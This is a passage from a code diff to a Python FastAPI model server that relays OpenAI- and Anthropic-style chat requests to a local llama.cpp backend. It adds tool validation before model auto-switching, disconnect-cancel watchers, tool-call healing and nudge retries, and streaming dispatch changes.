+    # (the non-streaming chat re-check short-circuits on _already_serving).
+    await _maybe_auto_switch_model(
+        _switch_model_for_payload(payload),
+        request,
+        current_subject,
+        require_vision = _messages_have_image(messages),
+    )
 
     if payload.stream:
         monitor_id = None
@@ -7724,6 +9979,28 @@ def _normalize_anthropic_openai_images(openai_messages: list[dict], is_vision: b
     return has_image
 
 
+def _validate_anthropic_client_tools(tools) -> None:
+    # Reject malformed client tools before any model load, so an invalid request
+    # never evicts the loaded model. AnthropicTool relaxed name/input_schema to
+    # Optional for server tools, so the converter silently drops incomplete
+    # entries; surface them as 400 here. A `type` field marks a server-tool
+    # declaration (unrecognized server tools are no-ops); anything else without
+    # input_schema or name is malformed.
+    for tool in tools or []:
+        td = tool if isinstance(tool, dict) else tool.model_dump()
+        name, type_, schema = td.get("name"), td.get("type"), td.get("input_schema")
+        if schema is None and not isinstance(type_, str):
+            raise HTTPException(
+                status_code = 400,
+                detail = f"Tool {name!r} is missing required field 'input_schema'.",
+            )
+        if schema is not None and (not isinstance(name, str) or not name):
+            raise HTTPException(
+                status_code = 400,
+                detail = "Client tool is missing required field 'name'.",
+            )
+
+
 @router.post("/messages/count_tokens")
 async def anthropic_count_tokens(
     payload: AnthropicMessagesRequest,
@@ -7737,6 +10014,19 @@ async def anthropic_count_tokens(
     tokenizer, and returns ``{"input_tokens": int}`` only. Unlike /messages,
     max_tokens is NOT required here.
     """
+    # Reject malformed tools before the switch, like /messages, so an invalid
+    # count request can't evict the loaded model.
+    _validate_anthropic_client_tools(payload.tools)
+    # Count with the requested model's tokenizer, like the sibling /messages.
+    # Carry the vision guard too: an image count naming a text-only GGUF must not
+    # evict a loaded vision model for a swap that can't serve the request.
+    await _maybe_auto_switch_model(
+        _switch_model_for_payload(payload),
+        request,
+        current_subject,
+        require_vision = _anthropic_request_has_image(payload),
+    )
+
     llama_backend = get_llama_cpp_backend()
     if not llama_backend.is_loaded:
         raise HTTPException(
@@ -7803,14 +10093,20 @@ async def anthropic_messages(
     JSON).
     """
     llama_backend = get_llama_cpp_backend()
-    if not llama_backend.is_loaded:
+
+    # Default-off parity: with no automatic load possible and nothing loaded, 503
+    # before any request-shape check, exactly as the pre-feature endpoint did. When
+    # an automatic load can run (auto-switch or a standalone idle TTL), fall through
+    # so validation runs before the reload hook gets a chance to restore the model.
+    if not llama_backend.is_loaded and not _automatic_model_load_may_run():
         raise HTTPException(
             status_code = 503,
             detail = "No GGUF model loaded. Load a GGUF model first.",
         )
 
-    # max_tokens is a required field on the Anthropic Messages API; real
-    # Anthropic returns a 400 invalid_request_error when it is omitted.
+    # max_tokens is a required field on the Anthropic Messages API; real Anthropic
+    # returns a 400 invalid_request_error when it is omitted. Validate before
+    # auto-switch so a rejected request never triggers a model load.
     if payload.max_tokens is None:
         raise HTTPException(
             status_code = 400,
@@ -7821,7 +10117,47 @@ async def anthropic_messages(
             ),
         )
 
-    model_name = getattr(llama_backend, "model_identifier", None) or payload.model
+    # Reject malformed client tools before any model load (see helper), so an
+    # invalid request never evicts the loaded model.
+    _validate_anthropic_client_tools(payload.tools)
+
+    # Mixing Anthropic server tools with custom client tools is unsupported (the
+    # server-tool loop can't relay client functions back to the caller). Reject
+    # before the switch too -- it depends only on the payload -- so an invalid
+    # request never evicts the loaded model. Reused below for tool routing.
+    requested_studio_tools = _anthropic_requested_studio_tools(payload.tools)
+    _has_client_tool = any(
+        (t if isinstance(t, dict) else t.model_dump()).get("input_schema") is not None
+        for t in payload.tools or []
+    )
+    if requested_studio_tools and _has_client_tool:
+        raise HTTPException(
+            status_code = 400,
+            detail = (
+                "Mixing Anthropic server tools (e.g. web_search_20250305) "
+                "with custom client tools in a single request is not "
+                "supported. Send them in separate requests."
+            ),
+        )
+
+    # require_vision rejects a swap to a text-only target before it runs, so an
+    # image request can't evict the resident vision model only to hit the vision
+    # guard (_normalize_anthropic_openai_images) below after the load.
+    await _maybe_auto_switch_model(
+        _switch_model_for_payload(payload),
+        request,
+        current_subject,
+        require_vision = _anthropic_request_has_image(payload),
+    )
+    if not llama_backend.is_loaded:
+        raise HTTPException(
+            status_code = 503,
+            detail = "No GGUF model loaded. Load a GGUF model first.",
+        )
+
+    # Advertised repo id after an auto-switch load, else a clean public id, never
+    # the local .gguf path (and a legacy raw path in payload.model is sanitized).
+    model_name = _llama_public_model_id(llama_backend, payload.model)
     message_id = f"msg_{uuid.uuid4().hex[:24]}"
 
     # ── Translate Anthropic → OpenAI ──────────────────────────
@@ -7868,51 +10204,8 @@ async def anthropic_messages(
     # 2. tools=[...] only  → client-side pass-through (standard Anthropic behavior)
     # 3. neither           → plain chat
     # The server-side agentic loop doesn't support multimodal input -- matches
-    # the `not image_b64` gate in /v1/chat/completions.
-    requested_studio_tools = _anthropic_requested_studio_tools(payload.tools)
-
-    # Reject malformed client tools at the boundary. AnthropicTool was relaxed
-    # to Optional[name]/Optional[input_schema] for server tools, so the
-    # converter silently drops incomplete entries -- surface them as 400. A
-    # `type` field marks a server-tool declaration per spec (unrecognized server
-    # tools are accepted as no-ops); anything else without input_schema or name
-    # is malformed and must not be allowed to silently flip execution mode or
-    # disable tool calling.
-    for tool in payload.tools or []:
-        td = tool if isinstance(tool, dict) else tool.model_dump()
-        name, type_, schema = td.get("name"), td.get("type"), td.get("input_schema")
-        if schema is None and not isinstance(type_, str):
-            raise HTTPException(
-                status_code = 400,
-                detail = f"Tool {name!r} is missing required field 'input_schema'.",
-            )
-        if schema is not None and (not isinstance(name, str) or not name):
-            raise HTTPException(
-                status_code = 400,
-                detail = "Client tool is missing required field 'name'.",
-            )
-
-    # Detect client tools from the raw payload (presence of input_schema) so the
-    # mixed-mode check below isn't fooled by a name collision with a server-tool
-    # alias that the post-filter would silently drop.
-    _has_client_tool = any(
-        (t if isinstance(t, dict) else t.model_dump()).get("input_schema") is not None
-        for t in payload.tools or []
-    )
-
-    # The server-tool agentic loop executes tools in-process and can't relay
-    # unknown client functions back to the caller, so mixed requests would
-    # silently drop the client tools. Reject explicitly instead.
-    if requested_studio_tools and _has_client_tool:
-        raise HTTPException(
-            status_code = 400,
-            detail = (
-                "Mixing Anthropic server tools (e.g. web_search_20250305) "
-                "with custom client tools in a single request is not "
-                "supported. Send them in separate requests."
-            ),
-        )
-
+    # the `not image_b64` gate in /v1/chat/completions. requested_studio_tools and
+    # the mixed-mode rejection were computed before the switch above.
     openai_client_tools = [
         tool
         for tool in anthropic_tools_to_openai(payload.tools or [])
@@ -7997,6 +10290,7 @@ async def anthropic_messages(
                     session_id = payload.session_id,
                     cancel_id = payload.cancel_id,
                     disable_parallel_tool_use = _disable_parallel,
+                    auto_heal_tool_calls = payload.auto_heal_tool_calls,
                 )
             )
         return await _monitored_anthropic(
@@ -8016,6 +10310,8 @@ async def anthropic_messages(
                 presence_penalty = presence_penalty,
                 tool_choice = openai_tool_choice,
                 disable_parallel_tool_use = _disable_parallel,
+                auto_heal_tool_calls = payload.auto_heal_tool_calls,
+                nudge_tool_calls = payload.nudge_tool_calls,
             )
         )
 
@@ -8059,10 +10355,16 @@ async def anthropic_messages(
             else:
                 openai_messages.insert(0, {"role": "system", "content": _nudge})
 
-        # Strip stale tool-call XML from conversation
+        # Strip stale tool-call XML via the protected display helper (think rehearsal and [TOOL_CALLS]
+        # prose survive), gated on enabled tool names so documented inactive examples are kept.
+        _anthropic_history_gate = _display_tool_name_gate(openai_tools)
         for _msg in openai_messages:
             if _msg.get("role") == "assistant" and isinstance(_msg.get("content"), str):
-                _msg["content"] = _TOOL_XML_RE.sub("", _msg["content"]).strip()
+                _msg["content"] = _strip_tool_xml_for_display(
+                    _msg["content"],
+                    auto_heal_tool_calls = True,
+                    enabled_tool_names = _anthropic_history_gate,
+                ).strip()
 
         def _run_tool_gen():
             return llama_backend.generate_chat_completion_with_tools(
@@ -8079,6 +10381,7 @@ async def anthropic_messages(
                 cancel_event = cancel_event,
                 max_tool_iterations = 25,
                 auto_heal_tool_calls = True,
+                nudge_tool_calls = payload.nudge_tool_calls,
                 tool_call_timeout = 300,
                 session_id = payload.session_id,
                 # Anthropic passthrough has no rag_scope field (RAG is local-only).
@@ -8107,6 +10410,7 @@ async def anthropic_messages(
                 message_id,
                 model_name,
                 disable_parallel_tool_use = _disable_parallel,
+                openai_tools = openai_tools,
             )
         )
 
@@ -8160,6 +10464,10 @@ async def _anthropic_tool_stream(
     """Streaming response for the tool-calling path."""
     _sentinel = object()
 
+    # Gate the display strip on the declared tools: an inactive NAME[ARGS]{...} in a final
+    # answer is prose and must survive in the delivered text.
+    _display_names = _display_tool_name_gate(openai_tools)
+
     # Prompt-token count for message_start.usage.input_tokens. count_chat_tokens
     # makes blocking HTTP calls to llama-server, so run it off the event loop.
     # Pass the tools so tool-schema tokens are counted (the generator renders
@@ -8185,9 +10493,14 @@ async def _anthropic_tool_stream(
         drop_until_tool_end = False
 
         gen = run_gen()
+        # Watcher to cancel on disconnect: the in-loop poll fires only between
+        # events, so a mid-prefill disconnect would otherwise hold the decode slot.
+        disconnect_watcher = asyncio.create_task(
+            _await_disconnect_then_cancel(request, cancel_event)
+        )
         try:
             while True:
-                if await request.is_disconnected():
+                if cancel_event.is_set() or await request.is_disconnected():
                     cancel_event.set()
                     return
                 event = await asyncio.to_thread(next, gen, _sentinel)
@@ -8206,9 +10519,15 @@ async def _anthropic_tool_stream(
                         captured_finish_reason = _fr
                 # Strip leaked tool-call XML from content events first, so a
                 # content event that was purely tool XML doesn't count as text.
+                # Protected helper preserves <think> rehearsal and balanced
+                # [TOOL_CALLS] trailing prose (raw _TOOL_XML_RE.sub corrupts both).
                 if etype == "content":
                     event = dict(event)
-                    event["text"] = _TOOL_XML_RE.sub("", event["text"])
+                    event["text"] = _strip_tool_xml_for_display(
+                        event["text"],
+                        auto_heal_tool_calls = True,
+                        enabled_tool_names = _display_names,
+                    )
                 # disable_parallel_tool_use: keep only the first tool_use block,
                 # dropping every later tool_start and its paired tool_end (robust
                 # to empty tool-call ids — tracked by state, not id matching).
@@ -8235,6 +10554,8 @@ async def _anthropic_tool_stream(
             if _error_event is not None:
                 yield _error_event
                 return
+        finally:
+            await _stop_local_disconnect_cancel_watcher(disconnect_watcher)
 
         stop_reason = openai_finish_to_anthropic_stop(
             captured_finish_reason, had_tool_calls = ends_on_tool_use
@@ -8271,9 +10592,14 @@ async def _anthropic_plain_stream(
         captured_finish_reason = None
 
         gen = run_gen()
+        # Watcher to cancel on disconnect: the in-loop poll fires only between
+        # chunks, so a mid-prefill disconnect would otherwise hold the decode slot.
+        disconnect_watcher = asyncio.create_task(
+            _await_disconnect_then_cancel(request, cancel_event)
+        )
         try:
             while True:
-                if await request.is_disconnected():
+                if cancel_event.is_set() or await request.is_disconnected():
                     cancel_event.set()
                     return
                 cumulative = await asyncio.to_thread(next, gen, _sentinel)
@@ -8296,6 +10622,8 @@ async def _anthropic_plain_stream(
             if _error_event is not None:
                 yield _error_event
                 return
+        finally:
+            await _stop_local_disconnect_cancel_watcher(disconnect_watcher)
 
         stop_reason = openai_finish_to_anthropic_stop(captured_finish_reason, had_tool_calls = False)
         for line in emitter.finish(stop_reason = stop_reason, stop_sequence = None):
@@ -8354,6 +10682,7 @@ async def _anthropic_tool_non_streaming(
     message_id,
     model_name,
     disable_parallel_tool_use = False,
+    openai_tools = None,
 ):
     """Non-streaming response for the tool-calling path.
 
@@ -8372,6 +10701,9 @@ async def _anthropic_tool_non_streaming(
     usage = {}
     prev_text = ""
     captured_finish_reason = None
+    # Gate the display strip on the declared tools: an inactive NAME[ARGS]{...} in a final
+    # answer is prose and must survive in the delivered text.
+    _display_names = _display_tool_name_gate(openai_tools)
     # Pending client tool_use; cleared by tool_end (server execution) or
     # trailing text. See the stop_reason mapping below.
     ends_on_tool_use = False
@@ -8381,8 +10713,10 @@ async def _anthropic_tool_non_streaming(
     for event in events:
         etype = event.get("type", "")
         if etype == "content":
-            # Strip leaked tool-call XML
-            clean = _TOOL_XML_RE.sub("", event["text"])
+            # Strip leaked tool XML (protected helper keeps think rehearsal and trailing prose).
+            clean = _strip_tool_xml_for_display(
+                event["text"], auto_heal_tool_calls = True, enabled_tool_names = _display_names
+            )
             new = clean[len(prev_text) :]
             prev_text = clean
             if new:
@@ -8566,6 +10900,7 @@ async def _anthropic_passthrough_stream(
     session_id = None,
     cancel_id = None,
     disable_parallel_tool_use = False,
+    auto_heal_tool_calls = None,
 ):
     """Streaming client-side pass-through: forward tools to llama-server and
     translate its stream to Anthropic SSE without executing anything."""
@@ -8602,6 +10937,16 @@ async def _anthropic_passthrough_stream(
 
     async def _stream():
         emitter = AnthropicPassthroughEmitter()
+        # Promote text-form tool calls (declared client tools only) into
+        # tool_use blocks; verbatim behavior when healing is off or no tools.
+        # tool_choice arrives here already converted to the OpenAI shape.
+        _allowed_tools = heal_gate(auto_heal_tool_calls, openai_tools, tool_choice)
+        if _allowed_tools:
+            emitter.enable_healing(
+                _allowed_tools,
+                openai_tools,
+                disable_parallel_tool_use = disable_parallel_tool_use,
+            )
         for line in emitter.start(message_id, model_name, input_tokens = input_tokens):
             yield line
 
@@ -8631,6 +10976,7 @@ async def _anthropic_passthrough_stream(
         client = httpx.AsyncClient(
             timeout = _llama_streaming_generation_timeout(),
             limits = httpx.Limits(max_keepalive_connections = 0),
+            trust_env = False,
         )
         resp = None
         lines_iter = None
@@ -8662,7 +11008,7 @@ async def _anthropic_passthrough_stream(
                 yield build_anthropic_sse_event(
                     "error",
                     anthropic_error_body(
-                        f"llama-server error: {_err_text}",
+                        _friendly_upstream_error(_err_text),
                         status = resp.status_code,
                     ),
                 )
@@ -8737,6 +11083,8 @@ async def _anthropic_passthrough_non_streaming(
     presence_penalty = None,
     tool_choice = "auto",
     disable_parallel_tool_use = False,
+    auto_heal_tool_calls = None,
+    nudge_tool_calls = None,
 ):
     """Non-streaming client-side pass-through."""
     target_url = f"{llama_backend.base_url}/v1/chat/completions"
@@ -8765,38 +11113,109 @@ async def _anthropic_passthrough_non_streaming(
     if resp.status_code != 200:
         raise HTTPException(
             status_code = resp.status_code,
-            detail = f"llama-server error: {resp.text[:500]}",
+            detail = _friendly_upstream_error(resp.text[:500]),
         )
 
     data = resp.json()
+    # tool_choice arrives here already converted to the OpenAI shape.
+    _allowed_tools = heal_gate(auto_heal_tool_calls, openai_tools, tool_choice)
+
+    # Opt-in single-retry nudge (mirrors the OpenAI passthrough): the model
+    # tried to call a tool but nothing usable came out; re-ask once with the
+    # prompt prefix intact so llama-server's KV cache is reused.
+    if (
+        _allowed_tools
+        and nudge_enabled(nudge_tool_calls)
+        and nudge_should_retry(data, _allowed_tools, openai_tools)
+    ):
+        retry_body = {
+            **body,
+            "messages": [*body.get("messages", []), *nudge_messages(data, _allowed_tools)],
+        }
+        try:
+            retry_resp = await nonstreaming_client().post(
+                target_url,
+                json = retry_body,
+                timeout = _llama_non_streaming_generation_timeout(),
+            )
+            if retry_resp.status_code == 200:
+                retry_data = retry_resp.json()
+                if response_has_promotable_calls(retry_data, _allowed_tools, openai_tools):
+                    data = retry_data
+        except (httpx.RequestError, ValueError) as exc:
+            logger.warning("tool-call nudge retry failed; keeping original: %s", exc)
+
     choice = (data.get("choices") or [{}])[0]
     message = choice.get("message") or {}
     finish_reason = choice.get("finish_reason")
 
-    content_blocks = []
-    text = message.get("content") or ""
-    if text:
-        text = _TOOL_XML_RE.sub("", text).strip()
-        if text:
-            content_blocks.append(AnthropicResponseTextBlock(text = text))
+    healing_active = bool(_allowed_tools)
+    healed_events = (
+        heal_openai_message_events(message, _allowed_tools, openai_tools)
+        if healing_active
+        else None
+    )
 
-    tool_calls = message.get("tool_calls") or []
-    # disable_parallel_tool_use: keep only the first tool_use block.
-    if disable_parallel_tool_use and len(tool_calls) > 1:
-        tool_calls = tool_calls[:1]
-    for tc in tool_calls:
-        fn = tc.get("function") or {}
-        try:
-            args = json.loads(fn.get("arguments", "{}"))
-        except json.JSONDecodeError:
-            args = {}
-        content_blocks.append(
-            AnthropicResponseToolUseBlock(
-                id = anthropic_tool_use_id(tc.get("id")),
-                name = fn.get("name", ""),
-                input = args,
+    content_blocks = []
+    tool_calls = []
+    if healed_events:
+        emitted_tool_uses = 0
+        for kind, value in healed_events:
+            if kind == "text":
+                text = str(value).strip()
+                if text:
+                    content_blocks.append(AnthropicResponseTextBlock(text = text))
+                continue
+            if disable_parallel_tool_use and emitted_tool_uses >= 1:
+                continue
+            fn = value.get("function") or {}
+            try:
+                args = json.loads(fn.get("arguments", "{}"))
+            except json.JSONDecodeError:
+                args = {}
+            tool_calls.append(value)
+            emitted_tool_uses += 1
+            content_blocks.append(
+                AnthropicResponseToolUseBlock(
+                    id = anthropic_tool_use_id(value.get("id")),
+                    name = fn.get("name", ""),
+                    input = args,
+                )
+            )
+    else:
+        text = message.get("content") or ""
+        if text:
+            # Keep unpromoted bytes when healing is active; legacy stripping is
+            # only for opted-out or no-client-tool requests. Protected helper (not
+            # raw _TOOL_XML_RE.sub): preserves <think> rehearsal and balanced
+            # [TOOL_CALLS] trailing prose, gated on the declared tools so an
+            # inactive NAME[ARGS]{...} example in the final text is kept.
+            if not healing_active:
+                text = _strip_tool_xml_for_display(
+                    text,
+                    auto_heal_tool_calls = True,
+                    enabled_tool_names = _display_tool_name_gate(openai_tools),
+                )
+            text = text.strip()
+            if text:
+                content_blocks.append(AnthropicResponseTextBlock(text = text))
+
+        tool_calls = message.get("tool_calls") or []
+        if disable_parallel_tool_use and len(tool_calls) > 1:
+            tool_calls = tool_calls[:1]
+        for tc in tool_calls:
+            fn = tc.get("function") or {}
+            try:
+                args = json.loads(fn.get("arguments", "{}"))
+            except json.JSONDecodeError:
+                args = {}
+            content_blocks.append(
+                AnthropicResponseToolUseBlock(
+                    id = anthropic_tool_use_id(tc.get("id")),
+                    name = fn.get("name", ""),
+                    input = args,
+                )
             )
-        )
 
     stop_reason = openai_finish_to_anthropic_stop(finish_reason, had_tool_calls = bool(tool_calls))
 
@@ -9024,6 +11443,55 @@ def _openai_messages_for_passthrough(payload) -> list[dict]:
     return messages
 
 
+def _flatten_content_parts_for_local_template(messages: list[dict]) -> list[dict]:
+    """Flatten OpenAI content-part lists to plain strings.
+
+    Local text templates take string content and raise on part lists (e.g. a
+    remote ``image_url`` that leaves ``image is None``): keep the text parts,
+    drop the rest, like the plain non-GGUF path. GGUF keeps the parts."""
+    out = []
+    for msg in messages:
+        content = msg.get("content")
+        if isinstance(content, list):
+            text_parts = [
+                part.get("text", "")
+                for part in content
+                if isinstance(part, dict) and part.get("type") == "text"
+            ]
+            msg = {**msg, "content": "\n".join(text_parts) if text_parts else ""}
+        out.append(msg)
+    return out
+
+
+def _structured_tool_history_for_local_template(messages: list[dict]) -> list[dict]:
+    """Deserialize assistant ``tool_calls[].function.arguments`` JSON strings to
+    mappings for local templating.
+
+    Clients send prior-turn arguments as JSON strings, but local templates take
+    mappings (some raise on strings). Only the internal messages copy is
+    rewritten; the HTTP response stays OpenAI-shaped and unparseable strings
+    are left untouched."""
+    out = []
+    for msg in messages:
+        tool_calls = msg.get("tool_calls")
+        if isinstance(tool_calls, list) and tool_calls:
+            new_calls = []
+            for tc in tool_calls:
+                fn = tc.get("function") if isinstance(tc, dict) else None
+                args = fn.get("arguments") if isinstance(fn, dict) else None
+                if isinstance(args, str):
+                    try:
+                        parsed = json.loads(args)
+                    except ValueError:
+                        parsed = None
+                    if isinstance(parsed, dict):
+                        tc = {**tc, "function": {**fn, "arguments": parsed}}
+                new_calls.append(tc)
+            msg = {**msg, "tool_calls": new_calls}
+        out.append(msg)
+    return out
+
+
 def _openai_messages_for_gguf_chat(payload, is_vision: bool) -> tuple[list[dict], bool]:
     """Build llama-server messages for the standard GGUF chat path.
 
@@ -9139,55 +11607,99 @@ async def _openai_passthrough_stream(
     response ``id``, ``finish_reason`` (including ``"tool_calls"``),
     ``delta.tool_calls``, and any client-requested trailing ``usage`` chunk so
     the client sees a standard OpenAI response.
+
+    Reasoning/tool-call splitting is delegated to llama-server (``--jinja
+    --reasoning-format auto``), so ``delta.content`` carries no raw markup and is
+    deliberately not re-parsed locally, unlike the ``/completion`` paths.
     """
     target_url = f"{llama_backend.base_url}/v1/chat/completions"
     body = _build_openai_passthrough_body(
         payload, backend_ctx = llama_backend.context_length, llama_backend = llama_backend
     )
+    # Text-form tool calls from small models get promoted to structured calls on
+    # the way back (declared client tools only); requests without tools or with
+    # auto_heal_tool_calls=false keep the verbatim relay. tool_choice constrains
+    # the allowlist ("none" disables, a forced function narrows to it).
+    _allowed_tools = heal_gate(
+        payload.auto_heal_tool_calls, body.get("tools"), body.get("tool_choice")
+    )
 
     _cancel_keys = (payload.cancel_id, payload.session_id, completion_id)
     _tracker = _TrackedCancel(cancel_event, *_cancel_keys)
     _tracker.__enter__()
+    client = None
+    resp = None
+    send_task: Optional[asyncio.Task[Optional[httpx.Response]]] = None
+
+    async def _aclose_send_task(task: Optional[asyncio.Task[Optional[httpx.Response]]]) -> None:
+        if task is None:
+            return
+        if not task.done():
+            task.cancel()
+        try:
+            task_resp = await task
+            if task_resp is not None:
+                try:
+                    await task_resp.aclose()
+                except Exception:
+                    pass
+        except (asyncio.CancelledError, Exception):
+            pass
 
     # Keep tracker cleanup paired if pre-header dispatch is cancelled.
     try:
-        # Dispatch BEFORE returning StreamingResponse so transport errors and
-        # non-200 upstream statuses surface as real HTTP errors -- OpenAI SDKs
-        # rely on status codes to raise APIError/BadRequestError.
+        # Keep the pre-header window short so accepted SSE clients receive
+        # immediate headers in the common timeout-reduced stall.
         client = httpx.AsyncClient(
             timeout = _llama_streaming_generation_timeout(),
             limits = httpx.Limits(max_keepalive_connections = 0),
+            trust_env = False,
         )
-        resp = None
         _truncate_budget = (
             _OVERFLOW_TRUNCATE_MAX_RETRIES if _overflow_truncation_requested(payload) else 0
         )
+
         while True:
             try:
                 req = client.build_request(
                     "POST", target_url, json = body, headers = {"Connection": "close"}
                 )
                 first_token_deadline = time.monotonic() + _DEFAULT_FIRST_TOKEN_TIMEOUT_S
-                resp = await _send_stream_with_preheader_cancel(
-                    client, req, cancel_event, request = request
+                send_task = asyncio.create_task(
+                    _send_stream_with_preheader_cancel(client, req, cancel_event, request = request)
                 )
+                done, _ = await asyncio.wait(
+                    {send_task},
+                    timeout = _OPENAI_PASSTHROUGH_PREHEADER_STATUS_WINDOW_S,
+                    return_when = asyncio.FIRST_COMPLETED,
+                )
+                if send_task not in done:
+                    break
+
+                # Dispatch returned quickly enough to preserve pre-header status.
+                resp = await send_task
+                send_task = None
             except httpx.RequestError as e:
                 # llama-server subprocess crashed / starting / unreachable.
                 logger.error("openai passthrough stream: upstream unreachable: %s", e)
                 api_monitor.fail(monitor_id, _friendly_error(e))
+                await _aclose_send_task(send_task)
                 await _aclose_stream_resources(resp = resp, client = client)
                 raise HTTPException(
                     status_code = 502,
                     detail = _friendly_error(e),
                 )
+            if resp is None and send_task is not None and not send_task.done():
+                break
             if resp is None:
                 api_monitor.finish(monitor_id, "cancelled")
+                await _aclose_send_task(send_task)
                 try:
                     await client.aclose()
                 except Exception:
                     pass
                 _tracker.__exit__(None, None, None)
-                return StreamingResponse(
+                return _SameTaskStreamingResponse(
                     iter(()),
                     media_type = "text/event-stream",
                     headers = {
@@ -9226,6 +11738,8 @@ async def _openai_passthrough_stream(
             api_monitor.fail(monitor_id, err_text[:500])
             raise _openai_passthrough_error(upstream_status, err_text)
 
+        # Keep tracker cleanup paired if pre-header dispatch is cancelled after we
+        # have already committed headers.
         async def _stream():
             # Same httpx lifecycle pattern as _anthropic_passthrough_stream:
             # save resp.aiter_lines() so the finally block can aclose() it on
@@ -9233,12 +11747,215 @@ async def _openai_passthrough_stream(
             lines_iter = None
             # Watchers unblock aiter_lines() during prefill, before in-loop
             # cancel/disconnect checks can run.
-            cancel_watcher = asyncio.create_task(_await_cancel_then_close(cancel_event, resp))
-            disconnect_watcher = asyncio.create_task(
-                _await_disconnect_then_close(request, resp, cancel_event)
-            )
+            cancel_watcher = None
+            disconnect_watcher = None
+
+            nonlocal resp, send_task, first_token_deadline, _truncate_budget
             monitor_done = False
+            saw_finish_reason = False
+            saw_done = False
+            saw_stream_error = False
+            saw_tool_call_delta = False
+            last_chunk_id = completion_id
+            last_chunk_model = model_name
+            last_chunk_created = int(time.time())
+            healer = (
+                StreamToolCallHealer(_allowed_tools, body.get("tools")) if _allowed_tools else None
+            )
+            healed_call_index = 0
+
+            def _synthetic_finish_line() -> str:
+                healed = healer is not None and healer.healed
+                finish_reason = "tool_calls" if (saw_tool_call_delta or healed) else "stop"
+                chunk = ChatCompletionChunk(
+                    id = last_chunk_id,
+                    created = last_chunk_created,
+                    model = last_chunk_model,
+                    choices = [
+                        ChunkChoice(
+                            delta = ChoiceDelta(),
+                            finish_reason = finish_reason,
+                        )
+                    ],
+                )
+                return f"data: {chunk.model_dump_json(exclude_none = True)}"
+
+            def _healer_sse_lines(events) -> list:
+                # Serialize healer events as chunks matching the upstream stream's
+                # id/model/created so clients see one coherent completion.
+                nonlocal healed_call_index
+                lines = []
+                for kind, value in events:
+                    if kind == "text":
+                        if not value:
+                            continue
+                        delta = {"content": value}
+                    else:
+                        # parallel_tool_calls=false caps healed calls too (the SSE
+                        # line cap only sees structured upstream deltas).
+                        if payload.parallel_tool_calls is False and healed_call_index >= 1:
+                            continue
+                        delta = {
+                            "tool_calls": [
+                                {
+                                    "index": healed_call_index,
+                                    "id": value["id"],
+                                    "type": "function",
+                                    "function": value["function"],
+                                }
+                            ]
+                        }
+                        healed_call_index += 1
+                    chunk = {
+                        "id": last_chunk_id,
+                        "object": "chat.completion.chunk",
+                        "created": last_chunk_created,
+                        "model": last_chunk_model,
+                        "choices": [{"index": 0, "delta": delta, "finish_reason": None}],
+                    }
+                    lines.append("data: " + json.dumps(chunk, ensure_ascii = False))
+                return lines
+
+            def _heal_transform(chunk_data: dict, raw_line: str) -> list:
+                """SSE lines to emit in place of one upstream line (healing on)."""
+                choices = chunk_data.get("choices")
+                if not (isinstance(choices, list) and choices and isinstance(choices[0], dict)):
+                    return [raw_line]
+                choice = choices[0]
+                delta = choice.get("delta")
+                delta = delta if isinstance(delta, dict) else {}
+                if delta.get("tool_calls"):
+                    # Structured call streamed: grammar mode worked. Flush any held
+                    # text (it preceded the call) and relay verbatim from here on.
+                    lines = _healer_sse_lines(healer.structured_tool_call_seen())
+                    if healed_call_index:
+                        if payload.parallel_tool_calls is False:
+                            # A healed call already consumed the single allowed
+                            # slot; the upstream SSE cap keeps native index 0, so
+                            # drop the native call here or the client gets two.
+                            del delta["tool_calls"]
+                            if delta or choice.get("finish_reason") or chunk_data.get("usage"):
+                                lines.append("data: " + json.dumps(chunk_data, ensure_ascii = False))
+                            return lines
+                        # A healed call already went out on index 0..n-1; OpenAI
+                        # clients merge tool-call deltas by index, so shift the
+                        # native calls into the next indexes or they would merge
+                        # into the healed call.
+                        for tc in delta["tool_calls"]:
+                            if isinstance(tc, dict) and isinstance(tc.get("index"), int):
+                                tc["index"] += healed_call_index
+                        return lines + ["data: " + json.dumps(chunk_data, ensure_ascii = False)]
+                    return lines + [raw_line]
+                content = delta.get("content")
+                finish = choice.get("finish_reason")
+                if not isinstance(content, str) or not content:
+                    if not finish:
+                        return [raw_line]
+                    # Finish chunk: last-chance heal of the residue, and rewrite a
+                    # "stop" into "tool_calls" when text-form calls were promoted.
+                    lines = _healer_sse_lines(healer.finalize())
+                    if healer.healed and finish == "stop":
+                        choice["finish_reason"] = "tool_calls"
+                        return lines + ["data: " + json.dumps(chunk_data, ensure_ascii = False)]
+                    return lines + [raw_line]
+                events = healer.feed(content)
+                if finish:
+                    events += healer.finalize()
+                if not finish and events == [("text", content)]:
+                    # Nothing held or promoted: the healer passed the chunk
+                    # through whole, so keep the verbatim upstream bytes.
+                    return [raw_line]
+                del delta["content"]
+                prefix_lines = []
+                if delta:
+                    prefix_chunk = {k: v for k, v in chunk_data.items() if k != "usage"}
+                    prefix_choice = dict(choice)
+                    prefix_choice["delta"] = dict(delta)
+                    prefix_choice["finish_reason"] = None
+                    prefix_chunk["choices"] = [prefix_choice]
+                    prefix_lines.append("data: " + json.dumps(prefix_chunk, ensure_ascii = False))
+                    delta.clear()
+                lines = prefix_lines + _healer_sse_lines(events)
+                if delta or finish or chunk_data.get("usage"):
+                    if healer.healed and finish == "stop":
+                        choice["finish_reason"] = "tool_calls"
+                    lines.append("data: " + json.dumps(chunk_data, ensure_ascii = False))
+                return lines
+
             try:
+                while True:
+                    if send_task is not None and not send_task.done():
+                        try:
+                            resp = await send_task
+                        except httpx.RequestError as e:
+                            logger.error("openai passthrough stream: upstream unreachable: %s", e)
+                            api_monitor.fail(monitor_id, _friendly_error(e))
+                            yield f"data: {json.dumps(_openai_stream_error_chunk(e))}\n\n"
+                            return
+                        send_task = None
+                    elif send_task is not None:
+                        try:
+                            resp = send_task.result()
+                        except httpx.RequestError as e:
+                            logger.error("openai passthrough stream: upstream unreachable: %s", e)
+                            api_monitor.fail(monitor_id, _friendly_error(e))
+                            yield f"data: {json.dumps(_openai_stream_error_chunk(e))}\n\n"
+                            return
+                        send_task = None
+
+                    if resp is None:
+                        api_monitor.finish(monitor_id, "cancelled")
+                        return
+                    if resp.status_code == 200:
+                        break
+
+                    err_bytes = await resp.aread()
+                    err_text = err_bytes.decode("utf-8", errors = "replace")
+                    logger.error(
+                        "openai passthrough upstream error: status=%s body=%s",
+                        resp.status_code,
+                        err_text[:500],
+                    )
+                    upstream_status = resp.status_code
+                    try:
+                        await resp.aclose()
+                    except Exception:
+                        pass
+                    resp = None
+                    if (
+                        _truncate_budget > 0
+                        and _classify_llama_generation_error(Exception(err_text))
+                        and _apply_overflow_truncation(body, err_text)
+                    ):
